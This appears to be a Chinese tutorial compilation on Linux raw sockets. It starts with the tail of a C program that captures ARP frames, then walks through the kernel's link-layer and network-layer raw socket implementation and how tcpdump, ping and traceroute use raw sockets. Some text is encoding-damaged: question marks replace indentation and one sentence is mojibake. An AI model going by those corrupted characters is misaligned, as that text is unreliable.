? ? fromaddr.sll_protocol=htons(ETH_P_ARP);
? ? fromaddr.sll_hatype=ARPHRD_ETHER;
? ? fromaddr.sll_pkttype=PACKET_HOST;
? ? fromaddr.sll_halen=ETH_ALEN;
? ? memcpy(fromaddr.sll_addr,src_mac,ETH_ALEN);


? ? bind(skfd,(struct sockaddr*)&fromaddr,sizeof(struct sockaddr));


? ? while(1){
? ? ? ? memset(buf,0,ETH_FRAME_LEN);
? ? ? ? n=recvfrom(skfd,buf,ETH_FRAME_LEN,0,NULL,NULL);
? ? ? ? eth=(struct ethhdr*)buf;
? ? ? ? arp=(struct ether_arp*)(buf+14);


? ? ? ? printf("Dest MAC:");
? ? ? ? for(i=0;i<ETH_ALEN;i++){
? ? ? ? ? ? printf("%02X-",eth->h_dest[i]);
? ? ? ? }
? ? ? ? printf("Sender MAC:");
? ? ? ? for(i=0;i<ETH_ALEN;i++){
? ? ? ? ? ? printf("%02X-",eth->h_source[i]);
? ? ? ? }


? ? ? ? printf("\n");
? ? ? ? printf("Frame type:%0X\n",ntohs(eth->h_proto));


? ? ? ? if(ntohs(arp->arp_op)==2){
? ? ? ? ? ? printf("Get an ARP replay!\n");
? ? ? ? }
? ? }
? ? close(skfd);
? ? return 0;
}
?該示例程序中，調用recvfrom之前我們調用了bind系統調用，目的是僅從指定的接口接收ARP報文(由socket函數的第三個參數“ETH_P_ARP”決定)?？梢詫Ρ纫幌?#xff0c;該程序與博文“Linux網絡編程：原始套接字的魔力【下】”里介紹的抓包程序的區別。


?小結：通過這幾個章節的熱身，相信大家對網絡編程中常見的一系列API函數socket,bind,listen,connect,sendto,recvfrom,close等的認識應該會有一個較高的突破。當然，你也必須趕快對它們熟悉起來，因為后面我們不但要“知其然”，還要知其“所以然”。后面，我們會以這些函數調用為主線，看看它們到底在內核中做些哪些事情，而這又對我們理解協議棧的實現原理有什么幫助做進一步的分析和討論。
========

Linux原始套接字實現分析

http://www.cnblogs.com/davidwang456/p/3463291.html


本文從IPV4協議棧原始套接字的分類入手，詳細介紹了鏈路層和網絡層原始套接字的特點及其內核實現細節。并結合原始套接字的實際應用，說明各類型原始套接字的適應范圍，以及在實際使用時需要注意的問題。


一、原始套接字概述


協議棧的原始套接字從實現上可以分為“鏈路層原始套接字”和“網絡層原始套接字”兩大類。本節主要描述各自的特點及其適用范圍。
鏈路層原始套接字可以直接用于接收和發送鏈路層的MAC幀，在發送時需要由調用者自行構造和封裝MAC首部。而網絡層原始套接字可以直接用于接收和發送IP層的報文數據，在發送時需要自行構造IP報文頭（取決是否設置IP_HDRINCL選項）。


1.1 ?鏈路層原始套接字


鏈路層原始套接字調用socket()函數創建。第一個參數指定協議族類型為PF_PACKET，第二個參數type可以設置為SOCK_RAW或SOCK_DGRAM，第三個參數是協議類型（該參數只對報文接收有意義）。協議類型protocol不同取值的意義具體見表1所示：
socket(PF_PACKET, type, htons(protocol))
? ? ??
a) ? ? ? 參數type設置為SOCK_RAW時，套接字接收和發送的數據都是從MAC首部開始的。在發送時需要由調用者從MAC首部開始構造和封裝報文數據。type設置為SOCK_RAW的情況應用是比較多的，因為某些項目會使用到自定義的二層報文類型。


socket(PF_PACKET, SOCK_RAW, htons(protocol))
?
b) ? ? ?參數type設置為SOCK_DGRAM時，套接字接收到的數據報文會將MAC首部去掉。同時在發送時也不需要再手動構造MAC首部，只需要從IP首部（或ARP首部，取決于封裝的報文類型）開始構造即可，而MAC首部的填充由內核實現的。若對于MAC首部不關心的場景，可以使用這種類型，這種用法用得比較少。


socket(PF_PACKET, SOCK_DGRAM, htons(protocol))


表1 ?protocol不同取值


protocol


值


作用


ETH_P_ALL


?0x0003


報收本機收到的所有二層報文


ETH_P_IP


0x0800


報收本機收到的所有IP報文


ETH_P_ARP


0x0806


報收本機收到的所有ARP報文


ETH_P_RARP


0x8035


報收本機收到的所有RARP報文


自定義協議


比如0x0810


報收本機收到的所有類型為0x0810的二層報文


不指定


0


不能用于接收，只用于發送


……


……


……


表1中protocol的取值中有兩個值是比較特殊的。當protocol為ETH_P_ALL時，表示能夠接收本機收到的所有二層報文（包括IP, ARP, 自定義二層報文等），同時這種類型套接字還能夠將外發的報文再收回來。當protocol為0時，表示該套接字不能用于接收報文，只能用于發送。具體的實現細節在2.2節中會詳細介紹。


1.2 ?網絡層原始套接字


創建面向連接的TCP和創建面向無連接的UDP套接字，在接收和發送時只能操作數據部分，而不能對IP首部或TCP和UDP首部進行操作。如果想要操作IP首部或傳輸層協議首部，就需要調用如下socket()函數創建網絡層原始套接字。第一個參數指定協議族的類型為PF_INET，第二個參數為SOCK_RAW，第三個參數protocol為協議類型（不同取值的意義見表2）。產品線有使用OSPF和RSVP等協議，需要使用這種類型的套接字。


socktet(PF_INET, SOCK_RAW, protocol)
? ?
a) ? ? ? 接收報文


網絡層原始套接字接收到的報文數據是從IP首部開始的，即接收到的數據包含了IP首部, TCP/UDP/ICMP等首部, 以及數據部分。
?
b) ? ? ?發送報文


網絡層原始套接字發送的報文數據，在默認情況下是從IP首部之后開始的，即需要由調用者自行構造和封裝TCP/UDP等協議首部。


這種套接字也提供了發送時從IP首部開始構造數據的功能，通過setsockopt()給套接字設置上IP_HDRINCL選項，就需要在發送時自行構造IP首部。


int val = 1;?
setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val));
?
表2 ?protocol不同取


protocol


值


作用


IPPROTO_TCP


6


報收TCP類型的報文


IPPROTO_UDP


17


報收UDP類型的報文


IPPROTO_ICMP


1


報收ICMP類型的報文


IPPROTO_IGMP


2


報收IGMP類型的報文


IPPROTO_RAW


255


不能用于接收，只用于發送（需要構造IP首部）


OSPF


89


接收協議號為89的報文


……


……


……


表2中protocol取值為IPPROTO_RAW是比較特殊的，表示套接字不能用于接收，只能用于發送（且發送時需要從IP首部開始構造報文）。具體的實現細節在2.3節中會詳細介紹。


二、原始套接字實現
本節主要首先介紹鏈路層和網絡層原始套接字報文的收發總體流程，再分別對兩類套接字的創建、接收、發送等具體實現細節進行介紹。


2.1 ?原始套接字報文收發流程


圖1 ?原始套接字收發流程


如上圖1所示為鏈路層和網絡層原始套接字的收發總體流程。網卡驅動收到報文后在軟中斷上下文中由netif_receive_skb()處理，匹配是否有注冊的鏈路層原始套接字，若匹配上就通過skb_clone()來克隆報文，并將報文交給相應的原始套接字。對于IP報文，在協議棧的ip_local_deliver_finish()函數中會匹配是否有注冊的網絡層原始套接字，若匹配上就通過skb_clone()克隆報文并交給相應的原始套接字來處理。


注意：這里只是將報文克隆一份交給原始套接字，而該報文還是會繼續走后續的協議棧處理流程。


? ? ? 鏈路層原始套接字的發送，直接由套接字層調用packet_sendmsg()函數，最終再調用網卡驅動的發送函數。網絡層原始套接字的發送實現要相對復雜一些，由套接字層調用inet_sendmsg()->raw_sendmsg()，再經過路由和鄰居子系統的處理后，最終調用網卡驅動的發送函數。若注冊了ETH_P_ALL類型套接字，還需要將外發報文再收回去。


2.2 ?鏈路層原始套接字的實現


2.2.1 ?套接字創建
?
調用socket()函數創建套接字的流程如下，鏈路層原始套接字最終由packet_create()創建。


sys_socket()->sock_create()->__sock_create()->packet_create()
?
? ? 當socket()函數的第三個參數protocol為非零的情況下，會調用dev_add_pack()將鏈路層套接字packet_sock的packet_type結構鏈到ptype_all鏈表或ptype_base鏈表中。 ? ?


void dev_add_pack(struct packet_type *pt)?
{?
? ? ? ? ……?
? ? ? ? if (pt->type == htons(ETH_P_ALL)) {?
? ? ? ? ? ? ? ? netdev_nit++;?
? ? ? ? ? ? ? ? list_add_rcu(&pt->list, &ptype_all);?
? ? ? ? } else {?
? ? ? ? ? ? ? ? hash = ntohs(pt->type) & 15;?
? ? ? ? ? ? ? ? list_add_rcu(&pt->list, &ptype_base[hash]);?
? ? ? ? }?
? ? ? ? ……?
}
? ? 當protocol為ETH_P_ALL時，會將套接字加入到ptype_all鏈表中。如圖2所示，這里創建了兩個鏈路層原始套接字。


圖2 ?ptype_all鏈表
?
當protocol為其它非0值時，會將套接字加入到ptype_base鏈表中。如圖3所示，協議棧本身也需要注冊packet_type結構，圖中淺色的兩個packet_type結構分別是IP協議和ARP協議注冊的，其處理函數分別為ip_rcv()和arp_rcv()。圖中另外3個深色的packet_type結構則是鏈路層原始套接字注冊的，分別用于接收類型為ETH_P_IP、ETH_P_ARP和0x0810類型的報文。


圖3 ?ptype_base鏈表


2.2.2 ?報文接收


網卡驅動程序接收到報文后，在軟中斷上下文由netif_receive_skb()處理。首先會逐個遍歷ptype_all鏈表中的packet_type結構，若滿足條件“(!ptype->dev || ptype->dev == skb->dev)”，即套接字未綁定或者套接字綁定網口與skb所在網口匹配，就增加報文引用計數并交給packet_rcv()函數處理（若使用PACKET_MMAP收包方式則由tpacket_rcv()函數處理）。


網卡驅動->netif_receive_skb()->deliver_skb()->packet_rcv()/tpacket_rcv()


? ? 以非PACKET_MMAP收包方式為例進行說明，packet_rcv()函數中比較重要的代碼片段如下。當報文skb到達packet_rcv()函數時，其skb->data所指的數據是不包含MAC首部的，所以對于type為非SOCK_DGRAM（即SOCK_RAW）類型，需要將skb->data指針前移，以便數據部分可以包含MAC首部。最后將skb放到套接字的接收隊列sk->sk_receive_queue中，并喚醒用戶態進程來讀取套接字中的數據。


……?
if (sk->sk_type != SOCK_DGRAM) //即SOCK_RAW類型?
? ? ? ? skb_push(skb, skb->data - skb->mac.raw);?
……?
__skb_queue_tail(&sk->sk_receive_queue, skb);?
sk->sk_data_ready(sk, skb->len); //喚醒進程讀取數據?
……
PACKET_MMAP收包方式的實現有所不同，tpacket_rcv()函數將skb->data拷貝到與用戶態mmap映射的共享內存中，最后喚醒用戶態進程來讀取數據。由于報文的內容已存放在內核空間和用戶空間共享的緩沖區中，用戶態可以直接讀取以減少數據的拷貝，所以這種方式效率比較高。


? ? 上面介紹了報文接收在軟中斷的處理流程。下面以非PACKET_MMAP收包方式為例，介紹用戶態讀取報文數據的流程。用戶態recvmsg()最終調用skb_recv_datagram()，如果套接字接收隊列sk->sk_receive_queue中有報文就取skb并返回。否則調用wait_for_packet()等待，直到內核軟中斷收到報文并喚醒用戶態進程。


sys_recvmsg()->sock_recvmsg()->…->packet_recvmsg()->skb_recv_datagram()


2.2.3 ?報文發送


用戶態調用sendto()或sendmsg()發送報文的內核態處理流程如下，由套接字層最終會調用到packet_sendmsg()。


sys_sendto()->sock_sendmsg()->__sock_sendmsg()->packet_sendmsg()->dev_queue_xmit()


? ? 該函數比較重要的函數片段如下。首先進行參數檢查及skb分配，再調用驅動程序的hard_header函數（對于以太網驅動是eth_header()函數）來構造報文的MAC頭部，此時的skb->data是指向MAC首部的，且skb->len為MAC首部長度（即14）。對于創建時指定type為SOCK_RAW類型套接字，由于在發送時需要自行構造MAC頭部，所以將skb->tail指針恢復到MAC首部開始的位置，并將skb->len設置為0（即不使用內核構造的MAC首部）。接著再調用memcpy_fromiovec()從skb->tail的位置開始拷貝報文數據，最終調用網卡驅動的發送函數將報文發送出去。


注：如果創建套接字時指定type為SOCK_DGRAM，則使用內核構造的MAC首部，用戶態發送的數據中不含MAC頭部數據。


……?
res = dev->hard_header(skb, dev, ntohs(proto), addr, NULL, len); //構造MAC首部?
if (sock->type != SOCK_DGRAM) {?
? ? ? ? skb->tail = skb->data; //SOCK_RAW類型?
? ? ? ? skb->len = 0;?
}?
……
err = memcpy_fromiovec(skb_put(skb,len), msg->msg_iov, len); //拷貝報文數據
……?
err = dev_queue_xmit(skb); //發送報文?
……
?
2.2.4 ?其它


a) ? ? ? ? 套接字的綁定


鏈路層原始套接字可調用bind()函數進行綁定，讓packet_type結構dev字段指向相應的net_device結構，即將套接字綁定到相應的網口上。如2.2.2節報文接收的描述，在接收時如果套接口有綁定就需要進一步確認當前skb->dev是否與綁定網口相匹配，只有匹配的才會將報文上送到相應的套接字。


sys_bind()->packet_bind()->packet_do_bind()


b) ? ? ? ?套接字選項


以下是比較常用的套接字選項


PACKET_RX_RING：用于PACKET_MMAP收包方式設置接收環形隊列


PACKET_STATISTICS：用于讀取收包統計信息


c) ? ? ? 信息查看


鏈路層原始套接字的信息可通過/proc/net/packet進行查看。如下為圖2和圖3中創建的原始套接字的信息，可以查看到創建時指定的協議類型、是否綁定網口、已使用的接收緩存大小等信息。這些信息對于分析和定位問題有幫助。?


cat /proc/net/packet
sk RefCnt Type Proto Iface R Rmem User Inode
ffff810007df8400 3 3 0810 0 1 0 0 1310
ffff810007df8800 3 3 0806 0 1 0 0 1309
ffff810007df8c00 3 3 0800 0 1 560 0 1308
ffff810007df8000 3 3 0003 0 1 560 0 1307
ffff810007df3800 3 3 0003 0 1 560 0 1306
?
2.3 ?網絡層原始套接字的實現


2.3.1 ?套接字創建


如圖4所示，在IPV4協議棧中一個傳輸層協議（如TCP，UDP，UDP-Lite等）對應一個inet_protosw結構，而inet_protosw結構中又包含了proto_ops結構和proto結構。網絡子系統初始化時將所有的inet_protosw結構hash到全局的inetsw[]數組中。proto_ops結構實現的是從與協議無關的套接口層到協議相關的傳輸層的轉接，而proto結構又將傳輸層映射到網絡層。


圖4 ?inetsw[]數組結構


? ? 調用socket()函數創建套接字的流程如下，網絡層原始套接字最終由inet_create()創建。


sys_socket()->sock_create()->__sock_create()->inet_create()


? ? inet_create()函數除用于創建網絡層原始套接字外，還用于創建TCP、UDP套接字。首先根據socket()函數的第二個參數（即SOCK_RAW）在inetsw[]數組中匹配到相應的inet_protosw結構。并將套接字結構的ops設置為inet_sockraw_ops，將套接字結構的sk_prot設置為raw_prot。然后對于SOCK_RAW類型套接字，還要將inet->num設置為協議類型，以便最后能調用proto結構的hash函數（即raw_v4_hash()）。
??


……?
sock->ops = answer->ops; //將socket結構的ops設置為inet_sockraw_ops?
answer_prot = answer->prot;?
……?
if (SOCK_RAW == sock->type) { //SOCK_RAW類型的套接字，設置inet->num?
? ? ? ? inet->num = protocol;?
? ? ? ? if (IPPROTO_RAW == protocol) //protocol為IPPROTO_RAW的特殊處理，?
? ? ? ? ? ? ? ? inet->hdrincl = 1; 后續在報文發送時會再講到?
}?
……
if (inet->num) {
? ? ? ? inet->sport = htons(inet->num);?
? ? ? ? sk->sk_prot->hash(sk); //調用raw_v4_hash()函數將套接字鏈到raw_v4_htable中?
}?
……
?
經過如上操作后，相應的套接字結構sock會通過raw_v4_hash()函數鏈到raw_v4_htable鏈表中，網絡層原始套接字報文接收時需要使用到raw_v4_htable。如圖5所示，共創建了3個網絡層原始套接字，協議類型分別為IPPROTO_TCP、IPPROTO_ICMP和89。
?
圖5 ?raw_v4_htable鏈表


2.3.2 ?報文接收


網卡驅動收到報文后在軟中斷上下文由netif_receive_skb()處理，對于IP報文且目的地址為本機的會由ip_rcv()最終調用ip_local_deliver_finish()函數。ip_local_deliver_finish()主要功能的代碼片段如下，先根據報文的L4層協議類型hash值在圖5中的raw_v4_htable表中查找是否有匹配的sock。如果有匹配的sock結構，就進一步調用raw_v4_input()處理網絡層原始套接字。不管是否有原始套接字要處理，該報文都會走后續的協議棧處理流程。即會繼續匹配inet_protos[]數組，根據L4層協議類型走TCP、UDP、ICMP等不同處理流程。
? ? ?
……?
hash = protocol & (MAX_INET_PROTOS - 1); //根據報文協議類型取hash值?
raw_sk = sk_head(&raw_v4_htable[hash]); //在raw_v4_htable中查找?
……?
if (raw_sk && !raw_v4_input(skb, skb->nh.iph, hash)) //處理原始套接字?
……?
if ((ipprot = rcu_dereference(inet_protos[hash])) != NULL) { //匹配inet_protos[]數組?
? ? ? ? ……?
? ? ? ? ret = ipprot->handler(skb); //調用傳輸層處理函數?
? ? ? ? ……?
} else { //如果在inet_protos[]數組中未匹配到，則釋放報文
? ? ? ? ……?
? ? ? ? kfree_skb(skb);?
}?
……
?
如圖6所示的inet_protos[]數組，每項由net_protocol結構組成。表示一個協議（包括傳輸層協議和網絡層附屬協議）的接收處理函數集，一般包括一個正常接收函數和一個出錯接收函數。圖中TCP、UDP和ICMP協議的接收處理函數分別為tcp_v4_rcv()、udp_rcv()和icmp_rcv()。如果在inet_protos[]數組中未配置到相應的net_protocol結構，報文就會被丟棄掉。比如OSPF報文（協議類型為89）在inet_protos[]數組中沒有相應的項，內核會將其丟棄掉，這種報文只能提供網絡層原始套接字接收到用戶態來處理。


?圖6 ?inet_protos[]數組結構


? ? 網絡層原始套接字的總體接收流程如下，最終會將skb掛到相應套接字上，并喚醒用戶態進程讀取報文數據。


網卡驅動->netif_receive_skb()->ip_rcv()->ip_rcv_finish()->ip_local_deliver()->ip_local


_deliver_finish()->raw_v4_input()->raw_rcv()->raw_rcv_skb()->sock_queue_rcv_skb()


……?
skb_queue_tail(&sk->sk_receive_queue, skb); //掛到接收隊列?
if (!sock_flag(sk, SOCK_DEAD))?
? ? ? ? sk->sk_data_ready(sk, skb_len); //喚醒用戶態進程?
……
?
? ? ? ?上面介紹了報文接收在軟中斷的處理流程，下面介紹用戶態進程讀取報文是如何實現的。用戶態的recvmsg()最終會調用raw_recvmsg()，后者再調用skb_recv_datagram。如果套接字接收隊列sk->sk_receive_queue中有報文就取skb并返回。否則調用wait_for_packet()等待，直到內核軟中斷收到報文并喚醒用戶態進程。


sys_recvmsg()->sock_recvmsg()->…->sock_common_recvmsg()->raw_recvmsg()


2.3.3 ?報文發送


用戶態調用sendto()或sendmsg()發送報文的內核態處理流程如下，最終由raw_sendmsg()進行發送。


sys_sendto()->sock_sendmsg()->__sock_sendmsg()->inet_sendmsg()->raw_sendmsg()


? ? 此函數先進行一些參數合法性檢測，然后調用ip_route_output_slow()進行選路。選路成功后主要執行如下代碼片段，根據inet->hdrincl是否設置走不同的流程。raw_send_hdrinc()函數表示用戶態發送的數據中需要包含IP首部，即由調用者在發送時自行構造IP首部。如果inet->hdrincl未置位，表示內核會構造IP首部，即調用者發送的數據中不包含IP首部。不管走哪個流程，最終都會經過ip_output()->ip_finish_output()->…->dev_queue_xmit()將報文交給網卡驅動的發送函數發送出去。


……?
if (inet->hdrincl) { //調用者要構造IP首部?
? ? ? ? err = raw_send_hdrinc(sk, msg->msg_iov, len,?
? ? ? ? ? ? ? ? ? ? ? ? ? ? ? rt, msg->msg_flags);?
} else {?
? ? ? ? …… //由內核構造IP首部?
? ? ? ?err = ip_push_pending_frames(sk);?
}?
……
? ?注：inet->hdrincl置位表示用戶態發送的數據中要包含IP首部，inet->hdrincl在以下兩種情況下被置位。


? ? a). 給套接字設置IP_HDRINCL選項


? ? ? ? ? setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, &val, sizeof(val))


? ? b). 調用socket()創建套接字時，第三個參數指定為IPPROTO_RAW，見2.3.1節。


? ? ? ? ? socktet(PF_INET, SOCK_RAW, IPPROTO_RAW)


2.3.4 ?其它


a) ? ? ? 套接字綁定


若原始套接字調用bind()綁定了一個地址，則該套接口只能收到目的IP地址與綁定地址相匹配的報文。內核的具體實現是raw_bind()，將inet->rcv_saddr設置為綁定地址。在原始套接字接收時，__raw_v4_lookup()在設置了inet->rcv_saddr字段的情況下，會判斷該字段是否與報文目的IP地址相同。


sys_bind()->inet_bind()->raw_bind()


b) ? ? ?信息查看


網絡層原始套接字的信息可通過/proc/net/raw進行查看。如下為圖5所創建的3個網絡層原始套接字的信息，可以查看到創建套接字時指定的協議類型、綁定的地址、發送和接收隊列已使用的緩存大小等信息。這些信息對于分析和定位問題有幫助。


cat /proc/net/raw
sl local_address rem_address st tx_queue rx_queue tr tm->when retrnsmt uid timeout inode
1: 00000000:0001 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1323 2 ffff8100070b2380
6: 00000000:0006 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1322 2 ffff8100070b2080
89: 00000000:0059 00000000:0000 07 00000000:00000000 00:00000000 00000000 0 0 1324 2 ffff8100070b2680
?
?三、應用及注意事項


3.1 ?使用鏈路層原始套接字
?
注意事項：
?
a) ? ? ? 盡量避免創建過多原始套接字，且原始套接字要盡量綁定網卡。因為收到每個報文除了會將其分發給綁定在該網卡上的原始套接字外，還會分發給沒有綁定網卡的原始套接字。如果原始套接字較多，一個報文就會在軟中斷上下文中分發多次，造成處理時間過長。
b) ? ? ?發包和收包盡量使用同一個原始套接字。如果發包與收包使用兩個不同的原始套接字，會由于接收報文時分發多次而影響性能。而且用于發送的那個套接字的接收隊列上也會緩存報文，直至達到接收隊列大小限制，會造成內存泄露。
c) ? ? ? 若只接收指定類型二層報文，在調用socket()時指定第三個參數的協議類型，而最好不要使用ETH_P_ALL。因為ETH_P_ALL會接收所有類型的報文，而且還會將外發報文收回來，這樣就需要做BPF過濾，比較影響性能。


3.2 ?使用網絡層原始套接字


注意事項：


a) ? ? ? 由于IP報文的重組是在網絡層原始套接字接收流程之前執行的，所以該原始套接字不能接收到UDP和TCP的分組數據。
b) ? ? ?若原始套接字已由bind()綁定了某個本地IP地址，那么只有目的IP地址與綁定地址匹配的報文，才能遞送到這個套接口上。
c) ? ? ? 若原始套接字已由connect()指定了某個遠地IP地址，那么只有源IP地址與這個已連接地址匹配的報文，才能遞送到這個套接口上。


3.3 ?網絡診斷工具使用原始套接字


很多網絡診斷工具也是利用原始套接字來實現的，經常會使用到的有tcpdump, ping和traceroute等。
tcpdump
該工具用于截獲網口上的報文流量。其實現原理是創建ETH_P_ALL類型的鏈路層原始套接字，讀取和解析報文數據并將信息顯示出來。
ping
該工具用于檢查網絡連接。其實現原理是創建網絡層原始套接字，指定協議類型為IPPROTO_ICMP。檢測方構造ICMP回射請求報文（類型為ICMP_ECHO），根據ICMP協議實現，被檢測方收到該請求報文后會響應一個ICMP回射應答報文（類型為ICMP_ECHOREPLY）。然后檢測方通過原始套接字讀取并解析應答報文，并顯示出序號、TTL等信息。
traceroute
該工具用于跟蹤IP報文在網絡中的路由過程。其實現原理也是創建網絡層原始套接字，指定協議類型為IPPROTO_ICMP。假設從A主機路由到D主機，需要依次經過B主機和C主機。使用traceroute來跟蹤A主機到D主機的路由途徑，具體步驟如下，在每次探測過程中會顯示各節點的IP、時間等信息。


a) ? ? ? A主機使用普通的UDP套接字向目的主機發送TTL為1（使用套接口選項IP_TTL來修改）的UDP報文；
b) ? ? ?B主機收到該UDP報文后，由于TTL為1會拒絕轉發，并且向A主機發送code為ICMP_EXC_TTL的ICMP報文；
c) ? ? ? A主機用創建的網絡層原始套接字讀取并解析ICMP報文。如果ICMP報文code是ICMP_EXC_TTL，就將UDP報文的TTL增加1并回到步驟a)繼續進行探測；如果ICMP報文的code是ICMP_PROT_UNREACH，表示UDP報文到達了目的地。


? ? ? ? ? ? ? A主機―>B主機―>C主機―>D主機


參考資料
《Linux內核源碼剖析——TCP/IP實現》
《深入理解Linux網絡內幕》
《UNIX網絡編程 第1卷：套接口API》
========

總結

以上是生活随笔為你收集整理的Linux原始套接字学习总结的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。